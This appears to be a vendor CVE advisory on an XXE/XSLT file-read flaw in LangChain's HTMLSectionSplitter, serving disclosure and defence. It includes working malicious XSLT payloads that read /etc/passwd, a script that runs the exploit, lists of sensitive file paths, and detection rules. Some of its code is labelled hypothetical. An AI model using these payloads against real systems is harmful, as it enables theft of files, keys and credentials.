CVE-2025-6985
Executive Summary
CVE-2025-6985 is a critical XML External Entity (XXE) vulnerability in the HTMLSectionSplitter class of the langchain-text-splitters library (version 0.3.8). The vulnerability arises from unsafe XSLT parsing, where arbitrary XSLT stylesheets are processed using lxml.etree.parse() and lxml.etree.XSLT() without any hardening measures. In lxml versions up to 4.9.x, external entities are resolved by default, allowing attackers to read arbitrary local files or perform outbound HTTP(S) fetches. In lxml versions 5.0 and above, while entity expansion is disabled, the XSLT document() function can still read any URI unless XSLTAccessControl is applied. This vulnerability allows remote attackers to gain read-only access to any file the LangChain process can reach, including sensitive files such as SSH keys, environment files, source code, or cloud metadata. No authentication, special privileges, or user interaction are required, and the issue is exploitable in default deployments that enable custom XSLT.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the langchain-text-splitters Python package, which is part of the LangChain ecosystem. The package is distributed via PyPI and is commonly used in AI/ML pipelines. The vulnerability is introduced through the lxml library, which is a dependency for XML/XSLT processing. The supply chain risk is significant because:
- The vulnerable package is widely used in LangChain-based applications.
- The vulnerability is in a core component (
HTMLSectionSplitter) that processes user-supplied XSLT stylesheets. - No patch is currently available, and the vendor (LangChain) has not released a fix.
- The attack surface includes any application that allows user-controlled XSLT input to the
HTMLSectionSplitter.
CVSS Breakdown & Threat Level
CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication or special privileges are needed.
- User Interaction (UI): None – No user action is required for exploitation.
- Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): High – Attackers can read sensitive files (e.g., SSH keys, environment files, source code, cloud metadata).
- Integrity (I): None – No modification of data is possible.
- Availability (A): None – No denial of service is possible.
Threat Level: High – The vulnerability is easily exploitable, requires no authentication, and can lead to significant data exposure.
Deep Dive & Mechanics
The vulnerability is rooted in the HTMLSectionSplitter class, which uses lxml to parse XSLT stylesheets. The class does not apply any hardening measures, such as disabling external entity resolution or using XSLTAccessControl. The attack works as follows:
- Attack Vector: An attacker provides a malicious XSLT stylesheet to the
HTMLSectionSplitter. This can be done through any input channel that accepts XSLT content (e.g., API endpoints, file uploads, or configuration files). - Exploitation Mechanism: The malicious XSLT stylesheet contains an XXE payload that references external entities or uses the XSLT
document()function to read local files or perform outbound HTTP(S) requests. - Impact: The attacker can read arbitrary files from the server's filesystem, including sensitive data like SSH keys, environment variables, source code, or cloud metadata (e.g., AWS EC2 metadata at
http://169.254.169.254/latest/meta-data/).
Technical Details:
- In lxml versions up to 4.9.x, external entities are resolved by default. An attacker can use
<!ENTITY xxe SYSTEM "file:///etc/passwd">to read local files. - In lxml versions 5.0 and above, entity expansion is disabled, but the XSLT
document()function can still read any URI unlessXSLTAccessControlis applied. An attacker can use<xsl:value-of select="document('file:///etc/passwd')"/>to read files.
Vulnerable vs. Patched Code
Vulnerable Code (langchain-text-splitters 0.3.8):
from lxml import etree
class HTMLSectionSplitter:
def split_html(self, html_content, xslt_stylesheet):
# Vulnerable: No hardening measures applied
xslt_tree = etree.parse(xslt_stylesheet)
transform = etree.XSLT(xslt_tree)
result = transform(etree.parse(html_content))
return str(result)
Patched Code (Hypothetical Fix):
from lxml import etree
from lxml.etree import XSLTAccessControl
class HTMLSectionSplitter:
def split_html(self, html_content, xslt_stylesheet):
# Patched: Apply XSLTAccessControl to restrict access
access_control = XSLTAccessControl(deny_all=True)
xslt_tree = etree.parse(xslt_stylesheet)
transform = etree.XSLT(xslt_tree, access_control=access_control)
result = transform(etree.parse(html_content))
return str(result)
Key Differences:
- The patched code uses
XSLTAccessControl(deny_all=True)to prevent the XSLTdocument()function from reading arbitrary URIs. - Additionally, the patched code should disable external entity resolution by setting
resolve_entities=Falsein the parser.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Setup:
- Install the vulnerable package:
pip install langchain-text-splitters==0.3.8 - Create a malicious XSLT stylesheet (
malicious.xslt):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xsl:stylesheet [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<p>&xxe;</p>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
- Create a simple HTML file (
input.html):
<html><body><p>Test</p></body></html>
- Run the exploit:
from langchain_text_splitters import HTMLSectionSplitter
splitter = HTMLSectionSplitter()
result = splitter.split_html('input.html', 'malicious.xslt')
print(result)
Expected Output: The content of /etc/passwd will be included in the output.
For lxml 5.0+ (using XSLT document() function):
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<p><xsl:value-of select="document('file:///etc/passwd')"/></p>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual XSLT stylesheet inputs that contain
<!ENTITY,SYSTEM,file://, orhttp://URIs. - Monitor for outbound HTTP(S) connections from the LangChain process to unexpected destinations (e.g., attacker-controlled servers).
- Monitor for file read operations on sensitive files (e.g.,
/etc/passwd,/etc/shadow, SSH keys, environment files).
Defense:
- Apply the hypothetical patch using
XSLTAccessControl(deny_all=True). - Disable external entity resolution in the lxml parser by setting
resolve_entities=False. - Restrict the LangChain process's filesystem access using containerization (e.g., Docker) or sandboxing (e.g., seccomp, AppArmor).
- Validate and sanitize all XSLT inputs to ensure they do not contain malicious payloads.
Indicators of Compromise (IOCs)
- File Paths:
/etc/passwd,/etc/shadow,/home/*/.ssh/id_rsa,/proc/self/environ,/proc/self/cmdline,/var/run/secrets/kubernetes.io/serviceaccount/token,http://169.254.169.254/latest/meta-data/ - Network Connections: Outbound HTTP(S) connections to attacker-controlled servers (e.g.,
http://attacker.com/). - Log Entries: Unusual XSLT parsing errors or warnings in application logs.
- Process Behavior: The LangChain process reading files outside its expected working directory.
Detection Engineering
YARA Rule
rule CVE_2025_6985_XXE_Detection {
meta:
description = "Detects XXE payloads in XSLT stylesheets targeting CVE-2025-6985"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-6985"
strings:
$xxe_entity = /<!ENTITY\s+\w+\s+SYSTEM\s+["'](file|http|https|ftp):\/\// nocase
$xslt_document = /document\(["'](file|http|https|ftp):\/\// nocase
$xslt_stylesheet = /<xsl:stylesheet/i
condition:
($xslt_stylesheet and ($xxe_entity or $xslt_document))
}
Sigma Rule
title: CVE-2025-6985 XXE in LangChain HTMLSectionSplitter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XXE payloads in XSLT stylesheets targeting CVE-2025-6985
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: langchain
detection:
selection:
- EventID: 1001 # Example: Application log event ID
Message: "*<!ENTITY*SYSTEM*file://*"
- EventID: 1002
Message: "*document('file://*"
condition: selection
falsepositives:
- Legitimate use of XSLT with external entities (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-6985 XXE in LangChain HTMLSectionSplitter"; flow:to_server; content:"<!ENTITY"; nocase; content:"SYSTEM"; nocase; content:"file://"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable XSLT Processing: If the
HTMLSectionSplitteris not required, disable it entirely. - Apply Access Controls: Use
XSLTAccessControl(deny_all=True)to restrict the XSLTdocument()function. - Disable External Entities: Set
resolve_entities=Falsein the lxml parser. - Upgrade lxml: If using lxml 4.x, upgrade to lxml 5.0+ and apply
XSLTAccessControl.
Long-Term Fixes:
- Patch the Package: The LangChain team should release a patched version of
langchain-text-splittersthat appliesXSLTAccessControland disables external entity resolution by default. - Input Validation: Validate and sanitize all XSLT inputs to ensure they do not contain malicious payloads.
- Sandboxing: Run the LangChain process in a sandboxed environment (e.g., Docker container with read-only filesystem, seccomp profile, AppArmor profile).
Workarounds:
- Use a Different Library: If possible, replace
HTMLSectionSplitterwith a library that does not use XSLT or that applies proper hardening. - Network Segmentation: Restrict outbound network access from the LangChain process to prevent data exfiltration.
Valters IT
Securing the digital frontier, one CVE at a time.